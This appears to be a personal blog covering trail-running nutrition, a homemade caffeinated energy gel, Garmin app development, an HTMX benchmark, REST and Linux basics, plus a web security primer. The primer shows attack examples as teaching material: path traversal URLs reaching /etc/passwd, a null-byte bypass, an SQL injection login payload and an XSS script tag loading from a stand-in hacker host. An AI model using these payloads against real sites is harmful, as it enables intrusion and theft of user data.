This is where it gets interesting for me. I used to use the muesli bar method here too, possibly supplemented with grape sugar (glucose/dextrose) tabs, but at around 30-35 km this (for me) becomes insufficient, I get hungry, I feel that I’m out of energy.

So I started using energy gels (my own, because they’re expensive otherwise) - 3-4 sips every half hour, accompanied by ~2 dl of iso, and so far it works, I consumed all the half-liter of it that my soft-flask can hold on Vérmókus (52km/1800m) or on Mátrabérc (55km/2800m), but I didn’t feel for a moment that there would be a problem. Then, I can’t personally comment on, what would happen on longer ultra-runs, but even at such distances it’s clear that you shouldn’t only eat/drink when you feel actual hunger, and not what comes to your mind, but you need to consciously consume the carbohydrate that your body can process - not too little, because it runs out, and not too much, because it leaves earlier than you’d like.

Races, hiking tours

Running alone isn’t bad, but it’s even better in company! Or not. There are a lot of races everywhere, almost every weekend there’s something, shorter/longer/ultra, urban/trail, individual/relay, … It’s worth trying them, because it’s a completely different experience.

I personally don’t like urban races or even racing itself, I overdo it unnecessarily. But I love the atmosphere of the longer trail-relay-races, where of course there’s always something unexpected to solve together with the team, and you are not just a racer, but supporter and cheerleader and such.

I also started going on hiking tours, where nobody will stop you when you run, but you have time to stop and chat at checkpoints, or walk a bit together with other hikers in the rainy/foggy night in the forest to find the eluding checkpoint.

Summary

Since I’m using strava (autumn of 2020 - beginning of 2024) I’ve run a total of 7143 km, with 186 thousand meters of elevation gain, mostly in the forest, mainly in the Buda mountains. I’ve met a lot of nice and funny people, I see something new, interesting on almost every run, I meet wild animals, and I still want to run further and further. Although this may be the effect of the endocannabinoids 😉

Garmin RepaField

Wed, 18 Oct 2023 00:00:00 +0000

A few weeks ago there was a rainy weekend and I was not able to do the planned work in the garden, also the Vadlan Ultra Terep trail running competition was near, so I decided to create my own Garmin watch datafield.

My main plan was to display both the stamina and the remaining distance from the track in a comparible way (among other metrics I’m interested in, like heart rate, pace and such), but that failed since many metrics are not available through the SDK - stamina among them. But anyway, I’ve created my datafield, I really like it, and at the moment of writing 178 other runners have installed it, too.

You can download it from the Garmin Connect IQ store.

What’s included?

Metrics shown:

heart rate (color coded)
- current
- average
- max
- line histogram
pace
- current
- average
distance
cadence (color coded)
altitude
- current
- elevation gain
- elevation loss
current time
elapsed time
done vs remaining distance of the current course (red if you’re off track)

Configuration:

3 theme colors

Plans:

vertical speed, GAP
pace/speed switch in settings
hr display options (hr value, percentage of max, hr zone)

How?

Garmin provides an SDK and tools to help creating apps and widgets for their wearables, for Windows, Mac and Linux as well.

The SDK is JVM based, but instead of Java it uses a custom language called Monkey C. It’s a bit like Java, but there are differences, like dynamic typing, lack of primitive types, reference counting GC, functions, etc. But if you have used some kind of modern high level programming language, than you won’t struggle too much.

The SDK is well documented, but as I said a lot of metrics are not exposed through it.

Command line tools are also provided with the SDK, but a more user friendly Visual Code extension is also maintained by Garmin.

Publishing

The publish process is pretty straightforward, you export your app, upload it to the Connect IQ storewith some info and screenshots, they review it, and that’s it. You can even ask money for your apps, but that should be done via some kind of 3rd party, Garmin does not provide any help for that.

Challenges

Many different devices

Garmin has a lot of watches, and they can have very different capabilities. Round or square; classic LCD, MIPS or AMOLED (1, 8, 16, 64, or basically 24 bit colors); wide range of resolutions from low like 208x208, 240x240 … to high like 416x416 or 454x454. Processor power and memory size is also very different for each model.

The resource compiler helps with this, reduces bitmap colors for the target device for example, and you can use different layouts and resources for different device groups (like resources-round, resources-round-240x240 or even resources-fenix7spro).

Performance

Well, to be honest, some of the watches are much more powerful than computers from 20 years ago, but they are nothing compared to recent ones, or mobile phones. They also have quite small batteries, that can be sucked dry by CPU heavy tasks - so writing performance optimized code is a key.

Garmin doesn’t invented Monkey C for just fun, they are probably doing a lot of optimizations during compilation, but there are areas where you should really be aware what you are doing, and how much it costs.

Memory usage is also something you need to check. For example my datafield currently uses about 31kbyes of memory - with the icons and code and everything. Sounds low compared to modern programs, but many of the older/lower end Garmin watches allow only 28k for a single datafield 😐

(I could probably take steps to go below 28k, but that would also block my plans for further development, so I decided not to support those watches. Newer/more high end watches provide 124k/252k for a datafield, which currently seems to be enough for a while.)

Lacking API

As I mentioned above, the API is far from complete, lot of data available for native widgets aren’t accessible through it. You can create a thread in the developer forums asking Garmin to include this or that in the API, and with luck you might get it in years. Or not, that’s life.

Performance optimization example

Image rotation

A long requested feature is the ability to rotate images or text - for example rotating hands are crucial part of any analog-like watchface. That is currently not easily possible with the API - you can do that pixel-by-pixel, but that will consume a lot of CPU, and will be ugly because of the lack of antialiasing.

Bitmap fonts to the rescue! Smart developers recognized that they could use the bitmap font support - that is available in the API - to store the pre-rotated versions of images, and use them later in an optimized way. Bitmap fonts are also support alpha channel, so anti-aliasing is an extra, and the resource compiler optimizes them for the actual product (reducing colors where they aren’t available, etc.) Only grayscale images are supported - but they can be used as colored text later, and with multiple “layers” you can do fancy stuff.

Somebody even wrote a tool that creates the bitmap font from images for you.

I’ve also started to create a watchface last weekend, and wrote an other small tool that rotates bmfont descriptors, to support text written vertically.

DIY energy gel

Sat, 19 Aug 2023 00:00:00 +0000

Energy gels are expensive as hell, so I decided to cook my own.

Here’s the recipe I used:

200g maltodextrin
50g fructose
10g citrulline-malate
1000mg ascorbic acid (vitamin C)
200mg caffeine
2 salt pill pulverized
- 400mg Na
- 80mg K
- 30mg Mg
2 tsp of cola flavoured BCAA (for the taste 😉)

This can be dissolved in about 3-4dl of water (I used a milk pan to heat them together a bit, but only about at 40C), and it’s still not that gel-like, can be poured into a silicone flask easily.

The final product contain about 200 kcal and 40 mg caffeine per 100 ml. (Common energy drinks - like Red Bull - contains about 46 kcal, 32 mg caffeine per 100ml.)

[Update]

Today (2023-08-20) I went to a 30k trail run into the nearby Pilis hills, and drank about 2/3 of the liquid above during the run - a mouthful about every 5kms - and not used the usual chocolate bars. It worked, I barely got tired at the end despite the heat and high humidity! Need to fine-tune the taste, but it’s already great.

HTMX

Thu, 29 Jun 2023 00:00:00 +0000

HTMX is a small (~14k), dependency-free, extendable frontend framework, with a very straightforward approach. It extends the Hypertext capabilities of HTML, without the need of using JavaScript.

Basic concepts:

Any DOM element can trigger HTTP requests
Any HTTP methods can be used (not just GET and POST)
The response from the server is HTML or HTML fragment
State management is is server-side, frontend is simple and dummy

HTML as content

The concept of using HTML as content is nothing new 😉. We did that in the old days, before the time of SPAs and React and their friends, and we do it even now for mostly static content - you are looking at an example of this at the moment.

But at some point clients got more powerful and developers started to move the application logic - and even the rendering - from the backend to the frontend. Instead of HTML, data travelled from the backend as JSON (or XML), and JavaScript did the rendering and the rest in the browser. Frameworks started to re-implement functionality that browsers already provided, using JavaScript that can run only in the main thread and blocks the page.

UI performance got more and more important, Google introduced the Core Web Vitals for ranking sites, so (initial) rendering started to move back to the backend. But instead of using the classic approach, many frameworks (like Next) provided a way to render the SPA application in the backend side - using the same AJAX calls, virtual DOM and other stuff, that aren’t ment to be in the backend originally.

Instead of just serving HTML by the backend. Quite crazy isn’t it?

JSON or HTML

Rendering HTML or JSON in the backend from the same data should use basically very similar resources. If we want to do some escaping for the HTML part, than it’s a bit more resource heavy, but we have pretty good, reliable HTML template engines (and we need to escape/sanitize that data eventually somewhere anyway). It is also possible to cache these HTML fragments, if they can be re-used later.

Sending them over the network is also very similar, the HTML will be bigger in most cases, but usually it can be compressed quite well.

Displaying the new content in a browser might be a different topic. In case of HTML, we just swap the content of a DOM node, and we’re done. For JSON case there are a lot of options based on the framework. Let’s use the most straightforward way: do the escaping (if it hasn’t been done in the backend), render the HTML (using for example template literals, that are pretty fast), then replacing the content in the DOM.

Since we took the same steps, it should take pretty much the same time - but while we’re doing the rendering the frontend, the UI is blocked. And we also have to deliver the code for the frontend into the browser somehow, which takes extra time.

Moving the initial rendering phase of a SPA to the backend using nodejs and other tricks might help with the initial page load, especially if the rendered content can be cached as static HTML files, but in my experience it’s still far behind the classic approach in terms of performance.

I recently witnessed migrating a quite heavy site from a more classical approach to Next.js, and LCP got about 3 times worse (1.5 => 5+ sec). The content is hard to cache, storing the pre-rendered HTMLs is not an option. I’m still curious what the experts gonna come up with.

Demo

So I decided I give it a try, and created a small golang project, where I can test HTMX and compare the HTML and the JSON based approach. For backend templates I used templ, I just found it recently, and looked like something made for the job. (It also does the escaping part, and security is an important topic for me.)

You can find the code here

The backend

I created to API endpoints, one that returns the POSTed data as JSON (using the JSON encoder from golangs standard library), and one that returns it as HTML (via templ).

I used ali to load test the backend. Of course this is a very basic demo, very far from real world usage, but I think we could see if the concept was fundamentally wrong.

Results (10s, unlimited rate, everything else on default, best of 3 runs):

json: 95250 req/s, 100% success rate, P90: ~0.6 ms
templ: 95687 req/s, 100% success rate, P90: ~0.59 ms

Ali test for JSON API endpoint

Ali test for Templ API endpoint

Well, ok, that’s basically just sending back a name/email pair as a JSON or HTML, but still, quite quick, and no difference. (I used to use python for such tasks, it’s in a completely different league.)

The frontend

I’ve also created a small frontend, to test HTMX and to compare the JSON and HTML based approach. Even though HTMX implements the later, it does a lot of other things too, so I’ve created a bare minimum implementation for that approach, too.

Screenshot of the web frontend

There’s a form that is POSTed to the backend, and the card with the name and email address is replaced with the response. I’ve also implemented some kind of auto-repeat function to be able to test the performance, it re-sends the form when the card is replaced in the DOM.

Results (average of 10000 form posts, best of 3 runs):

json: 1.5864 ms/req
html: 1.5621 ms/req
html via htmx: 1.8445 ms/req

As I mentioned before, comparing my bare minimum implementations to HTMX is not fair, because it does a lot of other things, dispatches a butch of DOM events and such, but it still performed quite well, was only about 20% slower than the others.

The difference between the JSON and the HTML based approach is negligible (~1.5%), but it worth to mention that all the HTML runs were faster than the fastest JSON run.

Conclusion

I like this HTML fragment based approach, and while it might not fit for every website, I definitely will consider to use it in the future.

Web Security Basics

Wed, 28 Jun 2023 00:00:00 +0000

The security of websites was always an important topic, and in my opinion it’s still a bit neglected by some developers. We have plenty of new tools, browsers try to protect their users more and more, but still, it’s important for a developer to be clear with some basic concepts.

Basics

Hash

Hashing algorithms are basically one way functions, where (typically) the hash(x) call is quick and easy, but its inverse is very slow and expensive - even impossible. In most cases they map arbitrary strings to fixed length, ones with very low probability of collision.

Hashes are used for example for storing passwords or for the verification of file/message integrity.

Encryption

Two main types: symmetric and asymmetric (public-key) schemes.

Symmetric-key encryption

quick/easy
encryption/decryption keys are the same
both party need to know the secret (the encryption key) - this is the hard part
ECB mode - electronic codebook
- all blocks are simply encrypted with the key
- attacker can analyze the encrypted data to retrieve the key
CBC mode - cipher block chaining
- to increase entropy, blocks are XORed with the previous cipher text block before being encrypted
- usually an initialization vector (IV, nonce) is used to scramble the first block
- much safer than EBC
examples: DES, 3DES, AES, IDEA, …

Asymmetric (public-key) encryption

more expensive/slow
key-pairs: public + private keys
everyone has access to the public key
key exchange is easy (if you trust the source of the public key - MITM)
can be used to sign content (authentication, integrity, can’t be denied)
can be used to safely distribute symmetric keys (i.e. Diffie-Hellmann key exchange for TLS/SSL)
examples: RSA, DSA, various curve based algorithms (ECDSA, EDDSA), …

User data handling

Cookies

only for the same domain
easy to use, stored in the browser
cannot be trusted entirely, client can modify the data
HttpOnly: cannot be read/modified by JS (in a standard browser)
Secure: sent back only over secure channel (HTTPS)

Sessions

stored on the server side
the client has only the session id
- if an attacker knows your session id, he might be able to use your session
session id in URLs
- very rarely used recently, but was common in the past
- easy to steal (especially over HTTP)
session id in cookies
- most common way
- cookies can be more secure:
  - HttpOnly
  - Secure
  - they expire
  - CORS
you can provide extra protection by binding the session to any other client specific data (like IP address, that an attacker cannot change easily)

Signed cookies

data is stored in cookies, BUT it is digitally signed by the server
can be trusted, client cannot modify the data w/o signature corruption

JWT (JSON Web Token)

basically standardized version of signed cookies (using custom header instead of cookies)
lot of libraries
easy SSO (no cookie limitations, can be cross domain)
use with care, via well tested libraries
(even most libraries had flaws in the past, if you’d try to implement it yourself, you probably will fail somewhere)

Storing passwords

As plain text

so, it will be easy to send password reminder emails
DO NOT EVER
also, do not send the password in email to the newly registered user…

As simple hash

still no
rainbow tables - pre-generated searchable list of hashes

Salted hash

much better, especially with per-password salts

Generating a rainbow table for a specific salt+algorithm pair (using GPUs for example) can be pretty quick, so you might want to use slow hash algorithms.

Password summary

use random generated salts for each password
use slow hash algorithms (like Argon2 or Bcrypt)
store the hash algorithm as well, it can be upgraded later if a security flaw is discovered for the current one

Example from Linux:

$algid$veryrandomsalt$hashedpassword

Example:

#md5
> crypt.crypt('nem igazi jelszo', '$1$saltsalt')
'$1$saltsalt$vQbMk4l2lRc5Nr/elLy970'

#sha-256
> crypt.crypt('nem igazi jelszo', '$5$saltsalt')
'$5$saltsalt$YgzPiIYuBL6dqAnD1icVdvGnZRxKjm3nb.akiwHaPb3'

#sha-512
> crypt.crypt('nem igazi jelszo', '$6$saltsalt')
'$6$saltsalt$5Svv7/14kYtcAMAjbHEQ/J8H.X9RyKNEh8XD2/ppt9MYH57eXgeWQ.o0RJfoovtzlJT1kVEcIDaUKyd8yL6jp1'

File inclusion

Sometimes you have to include files into your application based on data coming from the internet.

NEVER TRUST ANY DATA COMING FROM THE INTERNET.

Best solution: do not do such thing.

Long time ago in a galaxy far, far away, there was an ecommerce site, where the old weblogic server did not support the SVG content-type. So they created a “page” called svg.jsp that read the file provided in the URL parameters and served it with the proper SVG content-type.

Then I sent them the following URL: https://unknownsite.com/svg.jsp?file=../../../../etc/passwd. So they fixed it to sevre only files under the WEB-INF folder.

Then I sent them the following URL: https://unknownsite.com/svg.jsp?file=../../web.xml. So they fixed it to accept the file parameter only if it ends with .svg.

Then I sent them the following URL: https://unknownsite.com/svg.jsp?file=../../web.xml%00.svg. And asked them to move the svg files under a static webserver, that can set the content-type properly, and delete that svg.jsp for good. That solved the issue.

If you really need to do something like this, unescape/urldecode properly (using a well tested library/framework), resolve the absolute path and restrict access to a specific directory, and be really careful.

… and DO NOT EVER INCLUDE EXECUTABLE CODE IN THIS WAY!

Used to be a general solution among PHP developers in the early days, and PHP even let you import files from the internet that time… it was a nightmare (or heaven on Earth - depends who you ask).

Sql injection

Imagine the following code that checks the credentials of a user:

user = SQL("select * from users where email='" + email_from_user_input + "' and password='" + hashed_password_from_user_input + "';");

Regular user input:

{
    "email": "alma@beka.com",
    "password": "cicaMICA"
}

-> 🎉

Soros funded evil hacker who wants to spread anarchy:

{
    "email": "' or user_id=1; --",
    "password": "idontcare"
}

-> 😢 (he’s probably the admin user now that has the first id) XKCD

Use ORM or at least prepared statements. Do not try to manually escape the data coming from untrusted sources, you’ll fail eventually.

But anyway, NEVER TRUST USER INPUT!

XSS - Cross Site Scripting

Scenario: Search page, current search term is shown at the top of the page.

Regular user:

Searches for apple
Apples are shown (among iPhones and Macs)

Malevolent easter-european from the dark side of the internet:

Searches for apple<script src="//h4x0rz.org/evilhackerscripttostealuserdata.js"></script>
Apples are shown
Copies the direct link to this page and posts it to a public forum like: “Look they even have iPhones among the apples, lol.”
Victim clicks on the link, buys an apple using online payment, and a few minutes later buys an iPhone for someone in Poland.

General rules:

DO NOT TRUST ANY USER INPUT, OR ANYTHING COMING FROM UNTRUSTED SOURCES!
untrusted source: basically anything, that is not written by you. Well, do not even trust that…
escape everything, using well tested libraries:
- HTML escape/sanitize, carefully escape HTML attributes or CSS rules
- Check OWASP

CSP - Content Security Policy

CSP helps preventing XSS attacks, tells the browser the valid sources of different content types. For example you can set that CSS and JS files can be included only from your domain, and those that are directly embedded into the page content should not be executed.

See MDN for details.

CSRF - Cross Site Request Forgery

Malcious site sends requests to other site with the current user’s credentials.

Example:

Press the button to see funny video!
POSTs a request to your webbank to transfer some money to the attacker… also shows a funny video, so no worries.

Solutions:

Check the Origin header (if present) - might not be possible
use CSRF token (random token, updated by every request, bound to user session) that is required for state changing operations
modern browsers block cross-origin AJAX calls by default (see CORS)
modern browsers also use SameSite=Lax by default for cookies, which also helps (see Cookies)

Summary

NEVER TRUST ANYTHING COMING FROM THE INTERNET

REST

Mon, 12 Jun 2023 00:00:00 +0000

REpresentational State Transfer is a software architectural style for creating stateless web APIs. These APIs are typically based on HTTP methods to access resources specified by URIs that are transmitted in JSON or XML encoded form. They are called RESTful APIs.

Resource oriented

URI -> resource (and not action)
multiple URIs can point to the same resource (/employees/12, /departments/development/employees/2, …)
the resources are separate from the representation (same resource can be sent as JSON or XML for example)
manipulation through this representation
HATEOAS - resources can link to other resources, the client can discover the required content

HTTP based

URL: the resource URI
HTTP methods: actions (GET/POST/PUT/DELETE)
HTTP response status: error handling (not found, bad request, not authorized…)
HTTP headers: cache-abilty, content negotiation, …

Stateless

The server does not track the state of any client, the response is always based on only the request. Session state is typically handled by the client.

Example

Retrive the user list:

GET /users

-> (200 OK) [{name: 'lili', id: 12}, {name: 'zsuzsi', id: 7}, ...]

Create new user:

POST /users
{name: 'gyuri'}

-> (201 Created) {name: 'gyuri', id: 16}

Modify user:

PUT /users/16
{name: 'dyuri'}

-> (200 OK) {name: 'dyuri', id: 16}

Delete user:

DELETE /users/16

-> (200 OK)

Tools

browsers’ dev tools
browser extensions, like YARC
bigger tools like ARC
command line tools like httpie (oh, just noticed, that it has now desktop/webapp versions, too 🎉)

REST is not a standard, but an architectural style. Also, most APIs claiming to be RESTful does not implement HATEOAS - they just use resource URIs and HTTP methods, or even they definition of resource is not exact in some cases. I call these APIs REST-like, and they are completely fine in most cases - despite being non-stricly REST.

Linux Basics

Wed, 07 Jun 2023 00:00:00 +0000

a.k.a don’t fear the terminal

As a (mainly) web developer, I develop software that is mostly running on Linux - whether it’s a virtual machine in the cloud, a docker container, or my NAS under the staircase. So - for me - using any other operating system for development would be an extra hindrance.

To be honest, I like the customisability and freedom that only a Linux distribution can provide, I’m on Linux for more than 20 years, and happy with it. But if you are new, I try to give you a quick overview, why the terminal could be a useful tool.

Shell

The shell is basically a program that takes commands from the user and gives them to the operating system to perform. There are different flavors of a shell - just as there are different operating systems.

Many shells are based on or extends the capabilities of the basic POSIX compilant Bourne sh shell (like bash, ksh or zsh) and there are many that doesn’t even try to be compatible with that (tcsh, fish, xonsh, …). Modern ones support command completion, syntax highlighting and many other fancy features.

The Terminal

The terminal is basically an interface to access the command line interface of the OS. Long ago they were physical devices - a monitor + keyboard - and connected to a mainframe using protocols like DEC VT100 or ANSI X3.64.

Today we usually use terminal emulators that emulate these devices - supporting those quite old protocols. It would be really great to have something much newer protocol that could replace these old ones, and there are a few attempts from individuals or small projects, but I doubt we’d see much progress lacking support from big companies.

`bash`

Let’s see some details about the most used (at least by default) shell, the Bourne Again Shell - bash.

Environment variables

You can set/read different environment variables, that will be available in all child process (program executed in the given context).

$ VAR=something
$ echo $VAR
something
$ unset VAR
$ echo $VAR             # prints nothing
$ export VAR=foobar     # makes it available for sub-shells
$ env                   # show all available environment variables
VAR=foobar
...

Basic scripting

There are basic control statements in shell scripts too.

The following script tries to convert all files (that are images) to a 400px wide variant called smaller_[filename]:

$ for f in *; do
    if [[ -f $f ]]; then
        convert -resize 400x smaller_$f
    fi
  done

Command substitution

You can use the output of a command in an other command, like set it as a value of a variable, or print it:

$ FILELIST=$(ls)
$ echo $FILELIST
a.txt b.txt files_is_this_directory ...
$ echo `ls` # equivalent to $()
a.txt b.txt files_is_this_directory ...

Special variables

!! - the last command
!$ - the last parameter of the last command
$$ - current process id
$0, $1, $2, … - parameters (for a script)
$# - number of parameters
$* - all parameters (as one string)
$@ - all parameters (as list of strings)
$? - exit status of last command (0 - success, non-0 - something wrong)

Keyboard shortcuts

TAB - completion (if enabled)
^C - break (SIGINT signal)
^D - end-of-file (tells the current process that you finished typing something)
^Z - suspend (SIGTSTP signal)
^S - pause flow-control (XOFF) - output is not updated, terminal might seem to be frozen
^Q - restart flow-control (XON) - useful if you accidentally pressed ^S :)
^L - clear screen
^A - go to the beginning of the line
^E - go to the end of the line
^W - delete previous word
^U - delete whole line (useful if you mistyped you password and want to start over)
Alt+B - go back one word
Alt+F - go forward one word
^P (or cursor up) - previous command
^N (or cursor down) - next command
^R - reverse search command history

These are the emacs mode shortcuts, which is the default. You can switch to vi mode using set -o vi, but you probably don’t want it ;)

`.bashrc`

You can perform simple operations at shell startup by creating the .bashrc file in your home directory. (There are other files that are executed at different stages of different shell startup, like .profile, .bash_profile, …)

Here you might:

Set some variables

export PATH=$PATH:~/bin
export PS1="Hello \t> "
export EDITOR=vim

Create aliases

alias ll=`ls -la`
alias code=`vim`

`stdin`/`stdout`/`stderr`

Every running process has three special file descriptors:

stdin - standard input
stdout - standard output
stderr - standard error

You can redirect these using <, >, 2> and |.

cmd < file            # use file as stdin
cmd > file            # redirects output into file (original file content will be lost)
cmd 2> file           # redirects error output into file
cmd >> file           # appends output of cmd at the end of file
cmd1 | cmd2           # use the stdout of cmd1 as the stdin of cmd2 (pipeline)
cmd < file.i > file.o # combine them as you want
cmd > file 2>&1       # redirects stdout and stderr into file
cmd1 < file1 | cmd2 | cmd3 > file2 2>&1 # ...

Some useful commands

`man` - manual

If you need some help about a command, you can try man [command] that will display the manual page of that command.

`sudo`/`su`

You often need to execute commands using root (administrator) privileges. This can be done via sudo (if you have the appropriate rights).

$ cat secure.txt
secure.txt: permission denied
$ sudo cat secure.txt
Password: [enter password]
This can be read only by root.

With su, you can log in as an other user - by default root. This can be useful if you need to execute many commands as root user.

$ su -
Password: [root password, which might not be set at all...]
# whoami
root
# exit
$ sudo su -
Password: [your password]
# whoami
root

`ls`

To show (list) the files in a directory, you can use the ls command.

My most commonly used flags are:

l - long (owner, permissions, etc)
a - show hidden files (those that start with .)
t - sort by modification time
r - reverse order

So, show all files, with many information, in reverse order of modification (latest file at the bottom, probably the one you just modified/downloaded):

$ ls -ltra
-rw-r--r--  1 dyuri users    1106 Oct  3  2021 .gitconfig
drwxr-xr-x 51 dyuri users    4096 Mar 21 13:49 melo/

File permissions

In a posix system, file like objects have a standard set of permissions:

3 levels: user (u), group (g), others (o)
3 types: read (r), write (w), execute (x)

First character in the permission string:

- - normal file
d - directory
l - symoblic link
c - character device
b - block device

Specials:

s - setuid/setgid (in place of x)
t - sticky bit (for /tmp and such, in place of x)

Setting permissions:

$ chown <user>[:<group>] <file> # set associated user/group
$ chmod <permission> <file>     # set permissions

# examples
$ chmod u+x file      # execute permission to owner
$ chmod a+w file      # write access to "all"
$ chmod o-r -R dir    # revoke read access from "others" in "dir" recursively
$ chmod 751 cica      # 751 is the octal representation of rwxr-x--x

Directories

Command for changing directory: cd

$ cd [dir]            # change directory to [dir]
$ cd $HOME            # go to your home directory
$ cd ~                # go to your home directory
$ cd                  # go to your home directory...
$ cd -                # change back to the previous directory

Creating/removing directories: mkdir/rmdir

$ mkdir dir           # create the directory "dir"
$ mkdir -p dir1/dir2  # create "dir1/dir2", "dir1" is also created if required
$ rmdir dir           # remove directory - only if empty (failsafe)

Other useful commands:

pwd - print working directory
pushd - push current directory to stack
popd - pop last directory from stack

Copy/move/remove

Copy files: cp

$ cp file1 file2      # copy file1 to file2
$ cp -R dir1 dir2     # copy dir1 recursively into dir2

Move/rename: mv

$ mv file1 file2      # move file1 to file2

Delete file: rm

$ rm file             # remove file
$ rm -rf dir          # remove directory recursively (dangerous)

`ln` - filesystem link

“Files” are “links” in the filesystem to entities on the disk. If such an entity has no links, it can be overwritten (the disk space reused). So technically we don’t remove a file, but only remove a link to it. You can use the unlink command to remove such links, but rm is much more user friendly.

Creating a new hard link to an existing file:

ln file1 file2
file1 and file2 will point to the same content on the disk, they have to be on the same device (partition)
changing anything in either one will be visible in the other
removing file1 or file2 will not delete the content from the disc
(even removing both of them won’t remove it, but you won’t be able to easily find that content, and it can be overwritten)

Creating symbolic links:

ln -s file1 file2
symbolic links are “special text files” pointing to the original file (not to the content on the disk)
they don’t have to be in the same partition
removing file2 (the link) won’t affect file1
removing file1 (the original file) will break file2

`file` - file info

Sometimes it’s hard to tell from a file, what it is (especially if the extension is missing). But there’s a tool for that, called file:

$ file /tmp
/tmp: directory
$ file .bashrc
.bashrc: ASCII text
$ file kep.png
kep.png: PNG image data, 732 x 571, 8-bit/color RGB, non-interlaced
$ file kep.png --mime-type
kep.png: image/png
$ mv kep.png kep.whatever
$ file kep.whatever
kep.whatever: image/png

Disk usage

If the backend application just stopped unexpectedly, you should always check the disk space.

Disk usage per filesystems: df

$ df -h         # show free space - in human readable form
Filesystem      Size  Used Avail Use% Mounted on
/dev/sda2       108G   80G   22G  79% /
/dev/sdb1       336G  202G  117G  64% /mnt/what
/dev/sdc1       110G  9.8G   94G  10% /home/dyuri/extra

To check the disk usage of files/directories: du

$ du -h               # show disk usage per file (recursively, human readable)
$ du -hs *            # show disk usage - summarized per directory
$ du -ks * | sort -n  # disk usage per directory, in kilobytes, sorted

`cat`

Sometimes you need to check the content of a file without starting a bloated and slow editor. That’s what cat is good for.

$ cat file              # print the content of the file
$ cat file | more       # use "more" as pager (crazy shortcuts)
$ cat file | less       # use "less" as pager (better, vi-like shortcuts)
$ less file             # basically the same as above, without pipes

$ cat file | head -10   # show only the first 10 lines
$ cat file | tail -20   # show only the last 20 lines
$ cat file | head -12 | tail -2 # show only lines 11 & 12

$ tail -f file          # show the end of the file, but wait for changes (useful for logfiles)

`wc`

Count the lines/words/characters in a file: wc

$ wc .bashrc
46  106 1730 .bashrc
$ wc -l .bashrc
46 .bashrc

`grep`

Find string in the content of files: grep

# search for a css class
$ grep .grid-item *.css
global.css:	.search-recommender.fdCouponCar .grid-item.carLastItem {
newproducts.css:.newprod-grid .grid-view .grid-item-container {
newproducts.css:.newprod-dfgs .grid-view .grid-item-container {
search.css:.recipes-active .grid-item-container {

# you can use regular expressions
$ grep -e "\s.grid-view\s" *.css
newproducts.css:.newprod-grid .grid-view .grid-item-container {
newproducts.css:.newprod-dfgs .grid-view .grid-item-container {

# recursively (not posix, but most grep implementations support it)
$ grep -r -e "\s.grid-view\s"
common/product_grid.css:.ddpp .grid-view .grid-item-container {
common/product_grid.css:.newprod-featured .grid-view .grid-item-container {
newproducts.css:.newprod-grid .grid-view .grid-item-container {
newproducts.css:.newprod-dfgs .grid-view .grid-item-container {

`find`

Find files: find

# show all the files in the current directory recursively
$ find .

# show all css files
$ find . -name "*.css"

# search all css files for .grid-view class (the posix version of recursive grep)
$ find . -name "*.css" | xargs -- grep -e "\s.grid-view\s"

`sed`

Stream editor to modify streamed content: sed

$ cat .gitconfig | grep red
  old = red bold
  whitespace = red reverse
$ cat .gitconfig | grep red | sed 's/red/green/'
  old = green bold
  whitespace = green bold

# replace a css class name with an other
$ find . -name="*.css" | xargs -- sed -i 's/\.cica(.*)/.kutya\1/'
# *ALWAYS* review such changes carefully!

awk is a more powerful beast, but it’s completely out of scope for this post

Compressing files

Command to bundle files together: the Tape ARchiver - tar

$ tar cfv cica.tar cica/      # create a tar with the content of "cica/" (no compression)
$ tar xfv cica.tar            # extract the files

$ tar cfvz cica.tgz cica/     # create a tgz with the content of "cica/" (gzip compression)
$ tar xfvz cica.tgz           # extract

$ gunzip cica.tgz             # decompress cica.tgz to cica.tar
$ gzip cica.tar               # compress cica.tar to cica.tar.gz

# compress individual files
$ echo "alma" > alma.txt
$ gzip alma.txt               # => alma.txt.gz
$ zcat alma.txt.gz            # show the content of a gzipped file
alma

Gzip is very quick, network is typically slower, that’s why it is/was used to compress HTTP content. There are other, more effective compression algorithms that can be used with tar, like bzip or xz.

Processes

Command to check the running processes: ps

$ ps                          # show processes running in this shell
$ ps -ef                      # show all processes (BSD style, similar effect: `ps axu`)

$ pgrep java                  # pid(s) of java process(es)

$ pstree                      # the process tree

$ ls /proc                    # the /proc filesystem is an interface to the process data (in some operating systems)
$ cat /proc/[pid]/environ     # environment variables for the given process
$ ls -l /proc/[pid]/fd        # the open file descriptors of the process, 0 - stdin, 1 - stdout, 2 - stderr

$ top                         # show the running processes in an interactive way

Jobs

You can suspend long running tasks and let them continue in the background. (But nowadays, starting a new terminal/tab is much easier. But if you accidentally pressed ^Z, this knowledge is still useful ;) )

$ sleep 10000                 # long running process
^Z
[1]+  Stopped                 sleep 10000
$ sleep 20000
^Z
[2]+ 139909 Stopped           sleep 20000
$ jobs -l                     # list jobs
[1]+ 139063 Stopped           sleep 10000
[2]+ 139909 Stopped           sleep 20000
$ bg %1 
[1]+ sleep 10000 &            # job 1 resumed in the background, prompt is not blocked
$ fg %2
sleep 20000                   # job 2 resumed in the foreground, prompt blocked
^C
$ kill 139063
[1]+  Terminated              sleep 10000

The kill command does not necessary murder the process, it just sends a signal to it. If you want to terminate a process, you can kill <pid> it, and hopefully it will gracefully shut down (by handling the SIGTERM signal. If it does not stop, but you really want to get rid of it, you can use the SIGKILL (kill -9 <pid>) signal, that will terminate it by force, but that’s dangerous.

Host name lookup

To follow the NSS way:

$ getent hosts freshdirect.com
10.60.14.202  freshdirect.com
(root)$ echo "127.0.0.1 freshdirect.com" >> /etc/hosts
$ getent hosts freshdirect.com
127.0.0.1 freshdirect.com

DNS lookups:

$ nslookup freshdirect.com
Server:         192.168.221.2
Address:        192.168.221.2#53

Non-authoritative answer:
Name:   freshdirect.com
Address: 10.60.14.202

$ nslookup freshdirect.com 1.1.1.1
Server:         1.1.1.1
Address:        1.1.1.1#53

Non-authoritative answer:
Name:   freshdirect.com
Address: 23.205.183.241

`ssh`/`scp`

To connect to a remote host you can use the ssh command. You can copy files using scp.

$ ssh commonsoda@bubble.codeandsoda.hu -i .ssh/id_rsa   # log in to bubble using rsa key

# forward local 1234 port to port 8000 of bubble (which is protected by firewall)
$ ssh -L 1234:localhost:8000 bubble.codeandsoda.hu

# copy files over ssh
$ scp -r bubble.codeandsoda.hu:/var/log/nginx/ ./logs/

# better way to do it, copy only what's updated
$ rsync -avz bubble.codeandsoda.hu:/var/log/nginx/ ./logs/

Socket connection

You can use the telnet command to connect to a TCP port, and send data:

$ telnet icesus 80
Trying 192.168.221.40...
Connected to icesus.
Escape character is '^]'.
GET / HTTP/1.1
Host: uxe.icesus.freshdirect.com

